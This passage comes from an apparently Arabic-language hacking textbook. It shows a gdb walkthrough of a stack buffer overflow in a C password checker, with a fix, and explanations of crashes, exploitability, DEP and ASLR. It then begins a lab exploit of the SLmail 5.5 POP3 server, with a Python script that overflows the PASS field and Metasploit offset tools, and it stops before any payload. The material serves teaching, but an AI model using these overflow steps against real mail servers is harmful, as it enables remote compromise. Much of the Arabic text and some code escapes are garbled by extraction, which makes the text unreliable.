(gdb)
‫اإل‬‫القرصنة‬
‫لكتروني‬
‫ة‬
‫المعلومات‬‫وأمن‬
Understanding Hacking and Information Security
Security & Attacks
[258]
(gdb) continue
Continuing.
-=-=-=-=-=-=-=-=-=-=-=-=-=-
Access Granted.
-=-=-=-=-=-=-=-=-=-=-=-=-=-
Program exited with code 034.
(gdb)
‫بتحديد‬ ‫منا‬ُ‫ق‬ ‫أننا‬ ‫بالنتائج‬ ‫ر‬َ‫ه‬‫ظ‬َ‫ي‬
breakpoint
‫األوىل‬
‫الس‬ ‫ذذا‬ ‫عند‬
:‫طر‬
9 strcpy(password_buffer, password);
‫ال‬ ‫نا‬َ‫ل‬ ‫ر‬‫ظه‬ُ‫ي‬‫و‬ ‫حينها‬ ‫الربنامج‬ ‫يتوقف‬ ُ
‫حيث‬
gdb
‫ال‬ ‫حالة‬
Memory
.
‫ال‬ ‫أن‬ ‫ُالحظ‬‫ن‬‫س‬
password_buffer
‫ال‬ ‫ذذا‬ ‫يف‬ ‫د‬ َ‫تواج‬َ‫ي‬
address
:
0xbffff7a0
‫ال‬ ‫وأن‬
"
Auth_flag variable
"
‫ال‬ ‫ذذا‬ ‫يف‬ ‫ع‬َ‫ق‬َ‫ي‬
address
:
0xbffff7bc
( ‫القيمة‬ ‫ل‬‫م‬ َ
‫وحي‬
0
)
:
0x00000000
‫ال‬ ‫دد‬َ‫ع‬ ‫حساب‬‫ب‬ ‫منا‬ُ‫ق‬
bytes
‫ال‬ ‫ق‬‫َسب‬‫ت‬ ‫التي‬
Auth_flag
‫أهنا‬ ‫د‬‫َج‬‫ن‬‫ل‬
28 byets
،
:‫ييل‬ ‫كام‬
(gdb) x/16xw password_buffer
0xbffff7a0: 0xb7f9f729 0xb7fd6ff4 0xbffff7d8 0x08048529
0xbffff7b0: 0xb7fd6ff4 0xbffff870 0xbffff7d8
‫ُل‬‫ك‬ ‫أن‬ ‫ام‬‫ب‬
address
‫نهم‬‫م‬
‫عن‬ ‫بارة‬‫ع‬
4 bytes
:‫نقول‬ ‫أن‬ ‫ُنا‬‫ن‬‫مك‬ُ‫ي‬‫ق‬
(4 bytes * 7 = 28 bytes)
‫ال‬ ‫بعدذا‬ ‫يبدأ‬ ‫ثم‬
"
Location of auth_flag
"
:‫ال‬ ‫وذو‬
0x00000000
َ‫ند‬‫ع‬ ‫ف‬ّ‫ق‬َ‫َو‬‫ت‬َ‫ن‬‫ل‬ ‫الربنامج‬ ‫ري‬ َ
‫س‬ ‫ُكمل‬‫ن‬‫ل‬ ‫ذيا‬
‫ال‬
Breakpoint
‫الثانية‬
‫السطر‬ َ‫ند‬‫ع‬ َ‫ي‬‫وذ‬ ،
16
.
(gdb) x/x &auth_flag
0xbffff7bc: 0x00004141
(gdb) x/16xw password_buffer
0xbffff7a0: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffff7b0: 0x41414141 0x41414141 0x41414141 0x00004141
‫ال‬ ‫أن‬ ‫نا‬َ‫ل‬ ‫ظهر‬ُ‫ي‬ ُ‫ه‬‫لن‬
auth_flag
‫ل‬ َ
‫ض‬‫َعر‬‫ت‬ ‫قد‬
overflow
‫أول‬ ‫استبدال‬ ‫َم‬‫ت‬ ‫ققد‬ ،‫زئي‬ ُ‫ج‬
2 bytes
‫ب‬ ُ‫ه‬‫ن‬‫م‬
AA
‫اإل‬‫القرصنة‬
‫لكتروني‬
‫ة‬
‫المعلومات‬‫وأمن‬
Understanding Hacking and Information Security
Security & Attacks
[259]
‫ت‬ ‫وبالتايل‬
َ‫ي‬‫ذ‬ ‫طرى‬ُ‫أ‬ ‫قيمة‬ ‫لىل‬ ‫صفر‬ ‫ن‬‫م‬ ‫قيمته‬ ‫غريت‬
16705
‫يظهر‬ ‫كام‬
‫التالي‬ ‫الصفحة‬ ‫يف‬
‫ة‬
:
(gdb) x/dw &auth_flag
0xbffff7bc: 16705
‫دالة‬ ‫استخدمنا‬ ‫قد‬ ‫ا‬‫ُن‬‫ك‬ ُ‫ونحن‬
if
:!‫مقبولة‬ ‫قيمة‬ ‫الصفر‬ ‫غري‬ ‫قيمة‬ ‫أي‬ ‫َرب‬‫ت‬‫َع‬‫ت‬‫ل‬
if(strcmp(password_buffer, "brillig") == 0)
auth_flag = 1;
if(strcmp(password_buffer, "outgrabe") == 0)
auth_flag = 1;
return auth_flag;
‫تغري‬ُ‫مل‬‫ا‬ ‫ل‬‫حم‬َ‫ي‬ َ
‫س‬ ‫وبالتايل‬
auth_flag
‫ال‬ ‫عملية‬ ‫نجاح‬‫ل‬ ‫يؤدي‬ ‫ُما‬ ،‫الصفر‬ ‫غري‬ ‫قيمة‬
Authentication
.!
‫ال‬ ‫أن‬ ‫ذذا‬ ‫من‬ ‫نستنتج‬
auth_flag variable
‫ال‬ ‫ذو‬
“execution control point”
‫هل‬
‫منا‬ُ‫ق‬ ‫لو‬ ‫الذي‬ ،‫الربنامج‬ ‫ذا‬
.!‫اهلدف‬ ‫ُحقق‬‫ن‬ ‫ه‬‫ب‬ ‫بالتالعب‬
‫؟‬..‫الثغرة‬ ‫ذذه‬ ‫تفادي‬ ‫لنا‬ ‫كيف‬ ‫واآلن‬
‫بعمل‬ ‫نقوم‬ ‫السابق‬ ‫ثال‬‫امل‬ ‫يف‬ ‫ا‬‫ُن‬‫ك‬
overflow
‫لل‬
buffer
‫ا‬‫ن‬‫م‬ ‫ل‬‫سيستقب‬ ‫الذي‬
input
،‫املرور‬ ‫كلمة‬ ‫وذي‬
‫ال‬ ‫ذذا‬
buffer
:‫ذو‬
password_buffer[16]
.
‫ختصيص‬ ‫تم‬ ُ
‫حيث‬
16
‫ح‬
‫ب‬ ،‫لذلك‬ ‫رف‬
‫بإدطال‬ ‫نحن‬ ‫منا‬ُ‫ق‬ ‫ينام‬
‫احلرف‬
A
‫ر‬ ّ‫َر‬‫ك‬ُ‫م‬
30
‫ال‬ ‫أن‬ ‫وبام‬ ،!‫مرة‬
auth_flag
‫يقع‬
‫ال‬ ‫بعد‬ ‫مكانه‬
password_buffer
‫ال‬ ‫يف‬ ً‫ة‬‫مبارش‬
memory
.!ً‫ا‬‫أيض‬ ‫اخلطر‬ ُ‫ه‬‫طال‬ ‫ققد‬
:‫اخللل‬ ‫ذذا‬ ‫حدوث‬ ‫لتفادي‬ ‫بسيط‬ ‫لجراء‬ ‫ذ‬‫خ‬‫َت‬‫ن‬ َ
‫س‬
‫اإل‬‫القرصنة‬
‫لكتروني‬
‫ة‬
‫المعلومات‬‫وأمن‬
Understanding Hacking and Information Security
Security & Attacks
[260]
‫األماكن‬ ‫بتبديل‬ ‫سنقوم‬
‫ال‬ ‫تواجد‬ ‫من‬ ً‫ال‬‫قبد‬ ..
auth_flag
‫ال‬ ‫بعد‬
buffer
‫ال‬ ‫يف‬
memory
‫ال‬ ‫قبل‬ ‫بوضعه‬ ‫سنقوم‬
buffer
‫لل‬ ‫ه‬‫ض‬ ُّ‫َعر‬‫ت‬ ‫عدم‬ ‫سنضمن‬ ‫وبالتايل‬
overflow
.
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
int check_authentication(char *password) {
char password_buffer[16];
int auth_flag = 0;
strcpy(password_buffer, password);
if(strcmp(password_buffer, "brillig") == 0)
auth_flag = 1;
if(strcmp(password_buffer, "outgrabe") == 0)
auth_flag = 1;
return auth_flag;
}
int main(int argc, char *argv[]) {
if(argc < 2) {
printf("Usage: %s <password>n", argv[0]);
exit(0);
}
if(check_authentication(argv[1])) {
printf("n-=-=-=-=-=-=-=-=-=-=-=-=-=-n");
printf(" Access Granted.n");
printf("-=-=-=-=-=-=-=-=-=-=-=-=-=-n");
} else {
printf("nAccess Denied.n");
}
}
‫اإل‬‫القرصنة‬
‫لكتروني‬
‫ة‬
‫المعلومات‬‫وأمن‬
Understanding Hacking and Information Security
Security & Attacks
[261]
‫من‬ ‫لنتأكد‬ ‫ذيا‬
‫قاعلية‬
‫ذذا‬
!‫اإلجراء‬
:
reader@hacking:~/booksrc $ gcc -g auth_overflow2.c
reader@hacking:~/booksrc $ gdb -q ./a.out
Using host libthread_db library
"/lib/tls/i686/cmov/libthread_db.so.1".
(gdb) list 1
1 #include <stdio.h>
2 #include <stdlib.h>
3 #include <string.h>
4
5 int check_authentication(char *password) {
6 char password_buffer[16];
7 int auth_flag = 0;
8
9 strcpy(password_buffer, password);
10
(gdb)
11 if(strcmp(password_buffer, "brillig") == 0)
12 auth_flag = 1;
13 if(strcmp(password_buffer, "outgrabe") == 0)
14 auth_flag = 1;
15
16 return auth_flag;
17 }
18
19 int main(int argc, char *argv[]) {
20 if(argc < 2) {
(gdb) break 9
Breakpoint 1 at 0x8048421: file auth_overflow2.c, line 9.
(gdb) break 16
Breakpoint 2 at 0x804846f: file auth_overflow2.c, line 16.
(gdb) run AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Starting program: /home/reader/booksrc/a.out
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Breakpoint 1, check_authentication (password=0xbffff9b7 'A' <repeats
30 times>) at
auth_overflow2.c:9
‫اإل‬‫القرصنة‬
‫لكتروني‬
‫ة‬
‫المعلومات‬‫وأمن‬
Understanding Hacking and Information Security
Security & Attacks
[262]
9 strcpy(password_buffer, password);
(gdb) x/s password_buffer
0xbffff7c0:
"?o??200????????o???G??020205004b?????204004b????020205004
bH???????002"
(gdb) x/x &auth_flag
0xbffff7bc: 0x00000000
(gdb) x/16xw &auth_flag
0xbffff7bc: 0x00000000 0xb7fd6ff4 0xbffff880 0xbffff7e8
0xbffff7cc: 0xb7fd6ff4 0xb7ff47b0 0x08048510 0xbffff7e8
0xbffff7dc: 0x080484bb 0xbffff9b7 0x08048510 0xbffff848
0xbffff7ec: 0xb7eafebc 0x00000002 0xbffff874 0xbffff880
(gdb)
(gdb) cont
Continuing.
Breakpoint 2, check_authentication (password=0xbffff9b7 'A' <repeats
30 times>)
at auth_overflow2.c:16
16 return auth_flag;
(gdb) x/s password_buffer
0xbffff7c0: 'A' <repeats 30 times>
(gdb) x/x &auth_flag
0xbffff7bc: 0x00000000
(gdb) x/16xw &auth_flag
0xbffff7bc: 0x00000000 0x41414141 0x41414141 0x41414141
0xbffff7cc: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffff7dc: 0x08004141 0xbffff9b7 0x08048510 0xbffff848
0xbffff7ec: 0xb7eafebc 0x00000002 0xbffff874 0xbffff880
(gdb)
(gdb) c
Continuing.
Program received signal SIGSEGV, Segmentation fault.
0x08004141 in ?? ()
‫رأيك؟‬ ‫ما‬ ‫واآلن‬
‫ث‬ُ‫حيد‬ ‫مل‬
overflow
‫لل‬
auth_flag
..
‫اإل‬‫القرصنة‬
‫لكتروني‬
‫ة‬
‫المعلومات‬‫وأمن‬
Understanding Hacking and Information Security
Security & Attacks
[263]
‫ال‬ ‫حدث‬ ‫ذلك‬ ‫من‬ ً‫ال‬‫بد‬
overflow
‫ال‬ ‫ذا‬‫هل‬ ‫زئي‬ُ‫جل‬‫ا‬
:address
0x08004141
‫ال‬ ‫عىل‬ ‫باحلصول‬ ‫ذدقنا‬ ‫ينجح‬ ‫مل‬
Access
،
‫ال‬ ‫حدوث‬ ‫يمنع‬ ‫مل‬ ‫ذذا‬ ‫ولكن‬..
Crash
.!!
َ‫ي‬ ‫ذذا‬
‫قو‬
‫دنا‬
‫لىل‬
‫الفرق‬ ‫مالحظة‬
‫املفهو‬ ‫بني‬
‫م‬
‫التاليني‬ ‫ني‬
!
،
‫ال‬ ‫بني‬
Exploitability
‫ال‬ ‫و‬
Crashing
..
Crashing on Application
“Is the form of Denial of Service against the application”
‫ال‬ ‫ذذا‬ ‫وما‬
DoS Attack
‫؟‬
‫تعليق‬ ‫أو‬ ‫حجب‬ ‫حماولة‬ ‫يف‬ ‫يتلخص‬ ‫ذجوم‬ ‫لنه‬
(Suspend)
‫د‬َ‫ق‬ُ‫مل‬‫ا‬ ‫للخدمة‬
‫م‬
‫ة‬
‫من‬
Server
‫أي‬ ‫أو‬ ‫ما‬
Resource
‫يتعامل‬
‫ال‬ ‫معه‬
Users
َ‫ع‬‫ق‬َ‫تو‬ُ‫م‬ ‫غري‬ ‫بكميات‬ ‫لجهاده‬ ‫طريق‬ ‫عن‬
‫ة‬
‫ال‬ َ‫ن‬‫م‬
inputs
.!‫ها‬َ‫ع‬َ‫م‬ ‫ل‬ُ‫م‬‫التعا‬ ‫أو‬ ‫ها‬‫ت‬َ‫جل‬‫عا‬ُ‫م‬ ‫من‬ ‫يتمكن‬ ‫ال‬ ‫التي‬
Exploitability
“Injecting and executing my own code within the vulnerable process”
‫نس‬
‫نلخص‬ ‫أن‬ ‫تطيع‬
‫ال‬ ‫ذذه‬ ‫يف‬ ‫األمر‬
‫عبار‬
‫ة‬
:
“The Exploitability is the determination whether a crash can be tuned into an Exploit!”
‫ال‬ ‫طريق‬ ‫عن‬ ‫األمر‬ ‫ذذا‬ ‫باطتبار‬ ‫نقوم‬
Debugging
‫ال‬ ‫وعمل‬
initial analysis
.
‫عىل‬ ‫اإلجابة‬ ‫نستطيع‬ ‫أن‬ ً‫ال‬‫مث‬
"
‫ملاذا‬
"
‫و‬ ‫؟‬
"
‫أين‬
"
‫؟‬..

‫ال‬ ‫ذذا‬ ‫حدث‬ ‫ملاذا‬ ..‫قاألوىل‬
crash
،
‫ال‬ ‫ذذا‬ ‫سبب‬ ‫والذي‬ ،‫الربنامج‬ ‫يف‬ ‫ث‬‫احلاد‬ ‫ماخللل‬
crash
.‫؟‬

‫ال‬ ‫ذذا‬ ‫حدث‬ ‫أين‬ ..‫والثانية‬
crash
‫اخللل؟‬ ‫ذذا‬ ‫حدث‬ ‫برجمي‬ ‫سطر‬ ‫أي‬ ‫يف‬ ‫أو‬ ‫الربنامج‬ ‫من‬ ‫موضع‬ ‫أي‬ ‫يف‬.. ‫؟‬
‫ال‬ ‫ذذه‬
analysis
‫ال‬ ‫ة‬َ‫ب‬َ‫ق‬‫را‬ُ‫م‬ ‫ريق‬َ‫ط‬ ‫ن‬َ‫ع‬ ‫ا‬‫ِب‬ ‫َقوم‬‫ن‬
Registers
.
‫اإل‬‫القرصنة‬
‫لكتروني‬
‫ة‬
‫المعلومات‬‫وأمن‬
Understanding Hacking and Information Security
Security & Attacks
[264]
‫ال‬ ‫كان‬ ‫لذا‬ ‫ما‬ ‫معرقة‬ ً‫ال‬‫قمث‬
EIP
‫ا‬ ‫لىل‬ ‫شري‬ُ‫ي‬
‫ل‬
Stack
‫ال‬ ‫أو‬
Heap
‫ال‬ ‫حدوث‬ ‫عند‬
crash
‫ال‬ ‫أو‬ ‫املكان‬ ‫حتديد‬ ‫يف‬ ‫نا‬ُ‫فيد‬ُ‫ي‬ ،
Block
‫بعمل‬ ‫سنقوم‬ ‫الذي‬
inject
‫لل‬
code
‫ال‬ ‫أو‬
exploit
‫ال‬ ‫توجيه‬‫ب‬ ‫يام‬‫الق‬ ‫م‬ُ‫ث‬ ،!‫ه‬‫ب‬
Stack Pointer
‫املكان‬ ‫ذذا‬ ‫لىل‬
‫ال‬ ‫داطل‬
memory
‫ال‬ ‫ع‬‫ض‬َ‫و‬ ‫ن‬‫م‬ ‫ّا‬‫ن‬‫ك‬َ َ‫مت‬ ‫(الذي‬
Shellcode
.)‫ه‬‫ب‬
‫ال‬ ‫خيدمنا‬ ً‫ا‬‫أيض‬
Debugger
‫ل‬َ‫م‬َ‫ع‬‫ب‬ ‫قوم‬َ‫ي‬ ‫ألنه‬ ‫نا‬ُ‫ذ‬
capture
‫ال‬ ‫ث‬ُ‫د‬ َ
‫حي‬ ‫ندما‬‫ع‬ ‫الربنامج‬ ‫الة‬‫حل‬
Exception
.
‫ال‬ ‫ذذا‬ ‫ما‬
Exception
‫؟‬..
:‫النحو‬ ‫ذذا‬ ‫عىل‬ ‫وصفه‬ ‫أستطيع‬
It is a potentially uncoverable operation in a program that may cause that program to terminate
unexpectedly.
‫األمث‬ ‫من‬
:‫احلدث‬ ‫ذذا‬ ‫عىل‬ ‫لة‬

!‫الصفر‬ ‫عىل‬ ‫القسمة‬ ‫عملية‬
.

‫و‬
‫ل‬َ‫م‬َ‫ع‬ ‫الربنامج‬ ‫ل‬‫او‬ ُ
‫حي‬ ‫عندما‬ ً‫ا‬‫أيض‬
access
‫أل‬
‫ي‬
location
‫ال‬ ‫ل‬‫داط‬
memory
َ
‫ص‬ ّ
‫ص‬َ ُ
‫ُم‬ ‫ليست‬
‫ة‬
‫ال‬ ‫التي‬ ‫أو‬ ،!ُ‫ه‬‫ل‬
‫ال‬ ‫أن‬ ‫نعلم‬ ‫كام‬ ُ‫ه‬‫ألن‬ ،‫لليها‬ ‫طول‬ُ‫الد‬ ‫الحيات‬ َ
‫ص‬ ‫متلك‬َ‫ي‬
Operating System
‫بعمل‬ ‫يقوم‬
"
process isolation
"
‫َنوع‬‫ك‬
‫ال‬ ‫ن‬‫م‬
protection mechanisms
.
‫اإل‬‫القرصنة‬
‫لكتروني‬
‫ة‬
‫المعلومات‬‫وأمن‬
Understanding Hacking and Information Security
Security & Attacks
[265]
Putting things all together
‫الشيق‬ ‫األمور‬ ‫من‬ ‫العديد‬ ‫استوعبت‬ ‫أن‬ ‫وبعد‬ ‫اآلن‬
‫ة‬
.‫قبل‬ ‫من‬ ُ‫ه‬‫رشح‬ ‫تم‬ ‫ما‬ ‫كل‬ ‫لتدعيم‬ ‫عملية‬ ‫بمامرسة‬ ‫سنقوم‬ ،
‫اإلطتبار؟‬ ‫لبيئة‬ ‫سنحتاج‬ ‫ماذا‬
1
-
‫ال‬ ‫برنامج‬ ‫سنستخدم‬
VMware workstation 12
‫م‬ُ‫ي‬
‫اخل‬ ‫املوقع‬ ‫من‬ ُ‫ه‬‫حتميل‬ ‫كنك‬
‫ِبم‬ ‫اص‬
.
2
-
‫ُسخة‬‫ن‬
Kali Linux
‫من‬ ‫ُسخة‬‫ن‬‫ك‬ ‫حتميلها‬ ‫ُك‬‫ن‬‫مك‬ُ‫ي‬ ‫كام‬ ،‫ِبا‬ ‫اخلاص‬ ‫املوقع‬ ‫من‬ ‫جماين‬ ‫بشكل‬ ‫حتميلها‬ ‫ُك‬‫ن‬‫مك‬ُ‫ي‬ ً‫ا‬‫أيض‬ ،
‫نوع‬
VMware Image
.
3
-
‫ُسخة‬‫ن‬
Win XP
‫بامتداد‬
.iso
‫مع‬ ‫اإلطرتاق‬ ‫ينجح‬ ً‫ا‬‫أيض‬..
Windows 7
.
4
-
‫برنامج‬ ‫ُسخة‬‫ن‬
SLmail 5.5
.
‫ال‬ ‫ذذا‬ ‫وما‬
SLmail
‫؟‬
‫لنه‬
Mail Server
‫يدع‬
‫ال‬ ‫م‬
POP3
‫وال‬
SMTP
.‫ويندوز‬ ‫أنظمة‬ ‫عىل‬ ‫ويعمل‬
5
-
‫برنامج‬
Immunity Debugger
ُ‫ن‬ ‫عىل‬ ‫بتنصيبه‬ ‫لنقوم‬
‫ال‬ ‫سخة‬
XP
.
‫نبدأ‬ ‫أن‬ ‫قبل‬
..
‫عن‬ ‫باطتصار‬ ‫سنتكلم‬
‫تستخدمه‬ ‫للحاميه‬ ‫تقنيتني‬ ‫أشهر‬
‫ام‬
‫مها‬ ،‫التشغيل‬ ‫أنظمة‬
DEP
&
ASLR
.
..‫اإلطرتاق‬ ‫اطتبار‬ ‫لجراء‬ ‫أثناء‬ ‫هلم‬ ‫سنتعرض‬ ‫ألننا‬
‫اإل‬‫القرصنة‬
‫لكتروني‬
‫ة‬
‫المعلومات‬‫وأمن‬
Understanding Hacking and Information Security
Security & Attacks
[266]
Data Execution Prevention (DEP):
is a set of hardware, and software, technologies that perform additional checks on memory, to
help prevent malicious code from running on a system. The primary benefit of DEP is to help
prevent code execution by raising an exception, when execution occurs.
Address Space Layout Randomization (ASLR):
ASLR randomizes the base addresses of loaded applications, and DLLs, every
time the Operating System is booted.
..‫رحلتنا‬ ‫نبدأ‬‫ل‬ ‫ذيا‬
‫التالية‬ ‫الصفحة‬ ‫يف‬
‫م‬َ‫ستخد‬ُ‫مل‬‫ا‬ ‫البيئة‬ ‫عن‬ ِّ
‫عرب‬ُ‫ي‬ ‫شكل‬
‫ة‬
‫اإل‬ ‫يف‬
.‫طتبار‬
‫ال‬ ‫بتنصيب‬ ‫قيه‬ ‫منا‬ُ‫ق‬
SLmail
‫وال‬
Debugger
‫ال‬ ‫عىل‬ ‫بنا‬ ‫اخلاص‬
Win XP
.
..‫األوىل‬ ‫طوة‬ُ‫خل‬‫ا‬ ‫لىل‬ ‫نأيت‬
Preparing and Sending our Buffer
‫ال‬ ‫لعدادات‬ ‫من‬ ‫البداية‬ ‫يف‬ ‫تأكد‬
Firewall
‫بال‬ ‫اخلاص‬
Windows
‫ال‬ ‫بمرور‬ ‫يسمح‬ ‫أنه‬
traffic
‫املنفذ‬ ‫عرب‬
110
‫وذو‬ ،
‫ال‬ ‫منفذ‬
POP3
،
‫ي‬ ‫أو‬
‫ال‬ ‫ليقاف‬ ‫مكنك‬
Firewall
.‫أردت‬ ‫لن‬ ‫مؤقت‬ ‫بشكل‬
‫اإل‬‫القرصنة‬
‫لكتروني‬
‫ة‬
‫المعلومات‬‫وأمن‬
Understanding Hacking and Information Security
Security & Attacks
[267]
‫بتشغيل‬ ‫سنقوم‬
Kali Linux
‫ملف‬ ‫وقتح‬ ،
txt
:‫بداطله‬ ‫الكود‬ ‫ذذا‬ ‫ولضاقة‬
#!/usr/bin/python
import socket
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
buffer = 'A' * 2700
try:
print "Sending evil buffer..."
s.connect(('192.168.18.131',110))
data = s.recv(1024)
s.send('USER username' + 'rn')
data = s.recv(1024)
s.send('PASS' + buffer + 'rn')
print "Done!."
except:
‫اإل‬‫القرصنة‬
‫لكتروني‬
‫ة‬
‫المعلومات‬‫وأمن‬
Understanding Hacking and Information Security
Security & Attacks
[268]
print "Could not connect!"
‫ذذا‬
‫الكود‬
‫ال‬ ‫بلغة‬ ‫مكتوب‬
Python
،
‫ذو‬
‫باطتصا‬
‫ر‬
‫باملنفذ‬ ‫باإلتصال‬ ‫يقوم‬
110
‫بربوتوكول‬ ‫اخلاص‬ ‫املنفذ‬ ‫وذو‬
POP3
‫حماول‬ ‫يف‬
‫ة‬
‫لعمل‬
Remote Access
‫ال‬ ‫لىل‬
Mail box
‫ذجوم‬ ‫بعمل‬ ‫وذلك‬ ،
BoF
‫ال‬ ‫حرف‬ ‫بإرسال‬
A
‫كرر‬ُ‫م‬
ً‫ا‬
2700
‫مر‬
‫ة‬
‫ال‬ ‫لىل‬
Buffer
.!‫لنا‬ ‫خصص‬ُ‫مل‬‫ا‬
‫ال‬ ‫واقتح‬ ‫امللف‬ ‫بحفظ‬ ‫قم‬
Terminal
‫بتشغي‬ ‫وقم‬ ‫الويندوز‬ ‫لىل‬ ‫اذذب‬ ‫م‬ُ‫ث‬ .‫لديك‬
‫ال‬ ‫ل‬
Debugger
‫واطرت‬ ،
File
‫م‬ُ‫ث‬
Attach
‫ثم‬
Slmail
ُ‫ت‬‫س‬
‫ال‬ ‫منفذ‬ ‫وجود‬ ‫الحظ‬
POP3
‫وذو‬
110
‫ال‬ ‫طانة‬ ‫حتت‬
Listening
،
‫عىل‬ ‫اضغط‬ ‫م‬ُ‫ث‬
Run
.
‫قم‬
‫ال‬ ‫لىل‬ ‫بالقفز‬
Terminal
‫األمر‬ ‫بكتابة‬ ‫الكود‬ ‫لتنفيذ‬
./fuzz2.py
‫حيث‬
fuzz2
:‫امللف‬ ‫اسم‬ ‫ذو‬
‫اإل‬‫القرصنة‬
‫لكتروني‬
‫ة‬
‫المعلومات‬‫وأمن‬
Understanding Hacking and Information Security
Security & Attacks
[269]
‫ال‬ ‫لىل‬ ‫لنعود‬ ‫ذيا‬
Debugger
‫ال‬ ‫داطل‬
Win XP
‫لنر‬
..!‫حدث‬ ‫ما‬ ‫ى‬
‫حدث‬ ‫لقد‬
Overflow
‫ال‬ ‫لىل‬ ‫وصل‬ ‫وقد‬ ،‫ترى‬ ‫كام‬ ‫بالفعل‬
EIP Register
.
‫الثاني‬ ‫اخلطوة‬ ‫لىل‬ ‫لننتقل‬ ‫ذيا‬ ..‫جيد‬ ‫ذذا‬
‫ة‬
Binary Tree Analysis
‫حتديد‬ ‫نا‬ُ‫ذ‬ ‫نريد‬
‫ع‬‫موض‬
‫ال‬
"
4A’s
"
‫أحدثت‬ ‫التي‬
Overwrite
‫لل‬
EIP
‫ذذه‬ ‫بني‬ ‫من‬
‫ال‬
A*2700
َ‫ل‬ َ
‫رس‬ُ‫مل‬‫ا‬
‫ة‬
.
‫اإل‬‫القرصنة‬
‫لكتروني‬
‫ة‬
‫المعلومات‬‫وأمن‬
Understanding Hacking and Information Security
Security & Attacks
[270]
‫التي‬ ‫األسئلة‬ ‫تتذكر‬ ‫ذل‬
‫ال‬ ‫مثال‬ ‫بعد‬ ‫طرحناذا‬
Stack Overflow
‫؟‬..
‫ال‬ ‫حدث‬ ‫ومتى‬ ‫أين‬ ‫كانت‬
Crash
‫؟‬..
‫سب‬‫ح‬ ‫بعمل‬ ‫سنقوم‬
‫ة‬
‫رياضي‬
‫ة‬
‫ِسيع‬
‫ة‬
‫اول‬ ُ
‫حم‬ ‫يف‬
‫ة‬
‫ال‬ ‫ذذه‬ ‫مكان‬ ‫لتخمني‬
"
4A’s
"
‫ال‬ ‫داطل‬
buffer
.‫ل‬ َ
‫رس‬ُ‫مل‬‫ا‬
‫ال‬ ‫لرسال‬ ‫من‬ ً‫ال‬‫بد‬ ‫رأيك‬ ‫ما‬
“2700 A’s”
‫ال‬ ‫بقسمة‬ ‫نقوم‬ ‫أن‬
2700
،‫قسمني‬ ‫لىل‬
1350 A’s
‫و‬
1350 B’s
.
‫قإن‬
‫حدث‬
Overwritten
‫لل‬
EIP
‫باحلرف‬
B
‫ال‬ ‫أن‬ ‫قنستنتج‬
Location
‫ال‬ ‫من‬ ‫الثاين‬ ‫النصف‬ ‫يف‬ ‫يقع‬
buffer
‫نقوم‬ ‫بعدذا‬ ‫م‬ُ‫ث‬ .
‫ال‬ ‫بقسمة‬
1350 B’s
‫لىل‬ ‫ذذه‬
1670 B’s
‫و‬
1670 C’s
‫القسم‬ ‫عملية‬ ‫يف‬ ‫نستمر‬ ‫وذكذا‬ .
‫ة‬
‫ال‬ ‫وتغيري‬
Character
‫أن‬ ‫لىل‬
‫ال‬ ‫حتديد‬ ‫يف‬ ‫ننجح‬
location
.‫املرجو‬
‫الطريق‬ ‫ذذه‬ ‫ولكن‬
‫أيُس؟‬ ‫بطريقة‬ ‫رأيك‬ ‫ما‬ ،!‫ما‬ ‫حد‬ ‫لىل‬ ‫فة‬ّ‫ل‬‫ك‬ُ‫م‬‫و‬ ‫صعبة‬ ‫ة‬
‫ال‬ ‫أدوات‬ ‫من‬ ‫أداتان‬ ‫باستخدام‬ ‫سنقوم‬
Metasploit Framework
‫األوىل‬
“pattern_create.rb”
‫بإرسال‬ ‫تقوم‬
String
‫ال‬ ‫حتديد‬ ‫ثم‬ ،ً‫ا‬‫صيص‬‫ط‬ ‫تصميمها‬ ‫يتم‬
4 bytes
‫بعمل‬ ‫قامت‬ ‫التي‬
overwrite
‫لل‬
EIP
‫األدا‬ ‫نستخدم‬ ‫وبعدذا‬ .
‫ة‬
‫الثاني‬
‫ة‬
“Pattern_offset.rb”
‫ال‬ ‫ذذه‬ ‫ع‬‫وض‬َ‫م‬ ‫لتحديد‬
4 bytes
‫بالضبط‬
‫ال‬ ‫ذذه‬ ‫داطل‬
String
.
‫اإل‬‫القرصنة‬
‫لكتروني‬
‫ة‬
‫المعلومات‬‫وأمن‬
Understanding Hacking and Information Security
Security & Attacks
[271]
.!‫ث‬ُ‫ماحيد‬ ً‫ا‬‫مع‬ ‫ُشاذد‬‫ن‬‫ل‬ ‫ذيا‬
‫األدا‬ ‫من‬ ‫طلبنا‬ ‫لقد‬ ..‫يظهر‬ ‫كام‬
‫ة‬
‫تكوين‬
string
‫كون‬ُ‫م‬
‫ة‬
‫من‬
2700
.‫حرف‬
‫ال‬ ‫ِبذه‬ ‫سنفعل‬ ‫وماذا‬
String
‫؟‬..
‫بالكود‬ ‫السطر‬ ‫ذذا‬ ‫ُر‬‫ك‬‫تذ‬ ‫ذل‬
buffer = 'A' * 2700
‫ذ‬ ‫بنسخ‬ ‫نقوم‬
‫ال‬ ‫ذه‬
string
‫ال‬ ‫قيمة‬ ‫ذي‬ ‫لتكون‬ ‫ذنا‬ ‫ووضعها‬
buffer
‫اجلديد‬
‫ة‬
.
‫اإل‬‫القرصنة‬
‫لكتروني‬
‫ة‬
‫المعلومات‬‫وأمن‬
Understanding Hacking and Information Security
Security & Attacks
[272]
‫بعمل‬ ‫نقوم‬ ‫أن‬ ‫بعد‬ ‫أطرى‬ ً‫ة‬‫مر‬ ‫الكود‬ ‫بتنفيذ‬ ‫سنقوم‬ ‫اآلن‬
restart
‫لل‬
process
‫اخلاص‬
‫ة‬
‫بال‬
SLmail
‫ألنه‬ ‫الويندوز‬ ‫داطل‬
‫هلا‬ ‫حدث‬ ‫قد‬
crash
.!‫املايض‬ ‫اهلجوم‬ ‫اء‬‫جر‬
‫بعمل‬ ‫قم‬ ،‫الويندوز‬ ‫داطل‬ ‫واآلن‬
attach
‫م‬ُ‫ث‬ ‫أطرى‬ ً‫ة‬‫مر‬
Run
‫ال‬ ‫لىل‬ ‫د‬ُ‫وع‬ .
Terminal
،‫اجلديد‬ ‫الكود‬ ‫بتنفيذ‬ ‫لنقوم‬
‫ُسميه‬‫ن‬‫س‬
“fuzznew”
root@Kali:~# ./fuzznew.py
‫ال‬ ‫لىل‬ ‫نعود‬‫ل‬ ..!‫جيد‬
